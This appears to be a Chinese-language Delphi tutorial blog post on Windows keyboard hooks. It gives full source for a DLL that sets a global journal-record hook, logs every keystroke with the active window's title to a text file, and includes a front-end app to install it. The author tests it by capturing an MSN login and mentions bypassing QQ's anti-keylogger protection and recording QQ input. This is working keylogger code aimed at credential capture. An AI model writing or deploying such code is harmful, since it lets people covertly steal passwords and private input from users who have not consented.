键盘Hook【Delphi版】
一.钩子的基本概念
a) Hook作用:监视windows消息,在“特定消息”没有到达窗口之前捕获它。
b)钩子分类:
线程专用钩子:只监视指定的线程
全局钩子:监视系统中的所有线程
如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;
如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对整个系统进行监控.
c)几种常用类型的钩子:
1)键盘钩子可以监视各种键盘消息。
2)鼠标钩子可以监视各种鼠标消息。
3)外壳钩子可以监视各种Shell事件消息,启动和关闭应用程序等。
4)日志钩子可以记录从系统消息队列中取出的各种事件消息。
5)窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。
d) 详细参考:
理论分析:http://blog.csdn.net/yincheng01/article/details/6899305
常用方式:http://www.cnblogs.com/linyawen/archive/2011/03/25/1995624.html
二.键盘钩子的实际应用
a)键盘钩子DLL源码
library KeyboardHook; uses SysUtils, Windows, Messages, Classes; {$R *.res} var hook: HHOOK; {钩子变量} LastFocusWnd:Hwnd=0; PrvChar:Char; HookKey:String; KeyList:Tstringlist; const KeyMask=$80000000; {键盘钩子函数} function KeyboardHookProc(iCode: Integer; wParam: WPARAM; lParam:LPARAM):LRESULT;stdcall; var ch:Char; //记录一个个按下的按键字符 vKey:integer; //表示按下了哪个键 FocusWnd:HWND; //当前活动窗口句柄 Title:array[0..255] of char; //窗口句柄的标题 str:array[0..12] of char; // 当8<=vkey<=46时,表示按下的键名,例如[退格] PEvt:^EventMsg; //EventMsg的指针 iCapsLock,iNumLock,iShift:integer; //状态按键 bCapsLock,bNumLock,bShift:boolean; //是否按下状态按键 begin if iCode<0 then //遵照SDK文档 begin Result:=CallNextHookEx(hook,iCode,wParam,lParam); Exit; end; if (iCode = HC_ACTION) then //设备动作 begin PEvt := pointer(Dword(lparam)); //将lparam的指针传递给PEvt事件消息指针 FocusWnd:= GetActiveWindow; //获取活动窗体句柄 if (LastFocusWnd <> FocusWnd) then begin if (HookKey <> '') then begin KeyList.Add('键盘击打:'+HookKey); HookKey:= ''; end; GetWindowText(FocusWnd,Title,256); LastFocusWnd:= FocusWnd; KeyList.add(Format('激活窗口:%s',[Title])); end; if (PEvt.message = WM_KEYDOWN) then //如果事件消息为键下压操作 begin vkey := LoByte(PEvt.paramL ); //取得16进制数最低位那个字节的内容 iShift:= GetKeyState(VK_SHIFT); //获取这三个键的状态 iCapsLock:= GetKeyState(VK_CAPITAL); iNumLock:= GEtKeyState(VK_NUMLOCK); bShift:= ((iShift and KeyMask) = KeyMask); //判断它们的状态 bCapsLock:=(iCapsLock = 1); bNumLock:= (iNumLock = 1); end; if ((vKey >= 48) and (vKey <=57)) then // 0<=char(vkey)<=9 begin if (not bShift) then //如果没有按下Shift键 ch:= char (vkey) //数字字符 else begin case vkey of //否则为以下字符之一 48:ch:= ')'; 49:ch:= '!'; 50:ch:= '@'; 51:ch:= '#'; 52:ch:= '$'; 53:ch:= '%'; 54:ch:= '^'; 55:ch:= '&'; 56:ch:= '*'; 57:ch:= '('; end; //end case end; //end else HookKey:= HookKey + ch; end; //end if ((vKey >= 48) and (vKey <=57)) if ((vKey >=65) and (vKey <= 90)) then // 'A'<=char(vkey)<='Z' begin if (not bCapsLock) then //如果没有按下CapsLock键 begin if (bShift) then //按下了Shift键 ch:= char(vkey) //大写 else ch:= char(vkey + 32); //小写 end else //按下了CapsLock键 begin if (bShift) then //按下了Shift键 ch:= char(vkey + 32) //小写 else ch:= char(vkey); //大写 end; HookKey:= HookKey + ch; //将按键添加到按键字符串 end; if ((vkey >= 96) and (vkey <= 105)) then //小键盘的0-9 if bNumLock then HookKey:= HookKey + char(vkey - 96 + 48); ch:= 'n'; if ((vkey >= 105) and (vkey <=111)) then //+-*/ begin case vkey of 106:ch:= '*'; 107:ch:= '+'; 109:ch:= '-'; 111:ch:= '/'; else ch:= 'n'; end; end; if ((vkey >=186) and (vkey <= 222)) then //特殊符号 begin if (not bShift) then //没有按下Shift键 begin case vkey of 186:ch:= ';'; 187:ch:= '='; 189:ch:= ','; 190:ch:= '.'; 191:ch:= '/'; 192:ch:= '''' ; 219:ch:= '['; 220:ch:= '\'; 221:ch:= ']'; 222:ch:=char(27); else ch:= 'n'; end; //end case end else begin case vkey of 186:ch:= ':'; 187:ch:= '+'; 189:ch:= '<'; 190:ch:= '>'; 191:ch:= '?'; 192:ch:= '~'; 219:ch:= '{'; 220:ch:= '|'; 221:ch:= '}'; 222:ch:= '"'; else ch:= 'n'; end; //end case end; //end if else end; //end if ((vkey >=186) and (vkey <= 222)) if ch <> 'n' then //剔除未规定字符 HookKey := HookKey + ch; if ((vkey >= 8) and (vkey <=46)) then begin ch:= ' '; case vkey of 8:str:= '[BACK]'; 9:str:= '[TAB]'; 13:str:= '[ENTER]'; 32:str:= '[SPACE]'; 35:str:= '[END]'; 36:str:= '[HOME]'; 37:str:= '[LF]'; 38:str:= '[UF]'; 39:str:= '[RF]'; 40:str:= '[DF]'; 45:str:= '[INSERT]'; 46:str:= '[DELETE]'; else ch:= 'n'; end; if (ch <> 'n') then begin HookKey := HookKey + str; end; end; // KeyList.Add('ABC'); end;//end iCode= HC_ACTION result := CallNextHookEx(hook,iCode,wparam,lparam); end; {建立钩子} function SetHook:Boolean;stdcall; begin if (hook = 0) then begin KeyList:=Tstringlist.Create; hook := SetWindowsHookEx(WH_JOURNALRECORD,KeyboardHookProc,HInstance,0); //调用API HOOK Result:=hook<>0 end else Result:=False; end; {释放钩子} function DelHook:Boolean;stdcall; begin if (hook <> 0 ) then begin Result:=UnHookWindowsHookEx(hook); //卸载HOOK hook:=0; KeyList.Free; end else Result:=False; end; procedure PrintHook;stdcall; var printStr:string; txtFile:TextFile; fileName:string; begin if KeyList <> nil then begin printStr:=keyList.Text; KeyList.Text:=''; //将键盘输入内容进行打印 fileName:='E:\SourceCode\DelphiWorkspace\Demo\键盘Hook2\keyboardRecord.txt'; AssignFile(txtFile,fileName); if not FileExists(fileName) then begin Rewrite(txtFile); end else begin Append(txtFile); end; Writeln(txtFile,printStr); Closefile(txtFile); end; end; {按DLL的要求输出函数} exports SetHook name 'SetHook', DelHook name 'DelHook', PrintHook name 'PrintHook'; //SetHook,DelHook,PrintHook;{如果不需要改名,可以直接这样exports} begin end.
b)应用程序源码
unit Main; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TFrmMain = class(TForm) Button1: TButton; Button2: TButton; Button3: TButton; Memo1: TMemo; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button3Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); private { Private declarations } isHookInstalled:Boolean; public { Public declarations } end; {DLL 中的函数声明} function SetHook: Boolean; stdcall; function DelHook: Boolean; stdcall; procedure PrintHook;stdcall; var FrmMain: TFrmMain; implementation {$R *.dfm} {DLL 中的函数实现, 也就是说明来自那里, 原来叫什么名} function SetHook; external 'KeyboardHook.dll' name 'SetHook'; function DelHook; external 'KeyboardHook.dll' name 'DelHook'; procedure PrintHook; external 'KeyboardHook.dll' name 'PrintHook'; procedure TFrmMain.Button1Click(Sender: TObject); begin Self.Button1.Enabled:=False; Self.Button2.Enabled:=True; Self.Button3.Enabled:=True; if SetHook then begin isHookInstalled:=True; Self.Memo1.Lines.Add('键盘钩子已安装。。。'); end; end; procedure TFrmMain.Button2Click(Sender: TObject); begin PrintHook; Self.Memo1.Lines.Add('已打印'); end; procedure TFrmMain.Button3Click(Sender: TObject); begin if DelHook then begin isHookInstalled:=False; Self.Memo1.Lines.Add('键盘钩子已撤销!!!'); Self.Memo1.Lines.Add(' '); end; Self.Button1.Enabled:=True; Self.Button2.Enabled:=False; Self.Button3.Enabled:=False; end; procedure TFrmMain.FormCreate(Sender: TObject); begin Self.Button1.Enabled:=True; Self.Button2.Enabled:=False; Self.Button3.Enabled:=False; isHookInstalled:=False; Self.Memo1.Color:=clBlack; Self.Memo1.Font.Color:=clGreen; end; procedure TFrmMain.FormClose(Sender: TObject; var Action: TCloseAction); begin if isHookInstalled then DelHook; end; end.
c)运行结果
1)程序启动,安装键盘钩子
2)通过登录MSN进行测试
3)打印所有键盘操作至txt
三.其他
1.QQ登录窗口防键盘钩子的详细分析
http://wenku.baidu.com/view/05ecf86727d3240c8447ef9e.html
http://www.sadlycodes.com/?p=745
2.低级鼠标键盘钩子
WH_KEYBOARD_LL
WH_MOUSE_LL
http://hi.baidu.com/32881/blog/item/b410c702ec2e9c1c4afb5111.html
3.几个小工具
a)QQ启动后,记录下部分键盘操作
b)指定时间范围内个人电脑被恶意启动,记录下部分屏幕操作,并通过摄像头进行拍照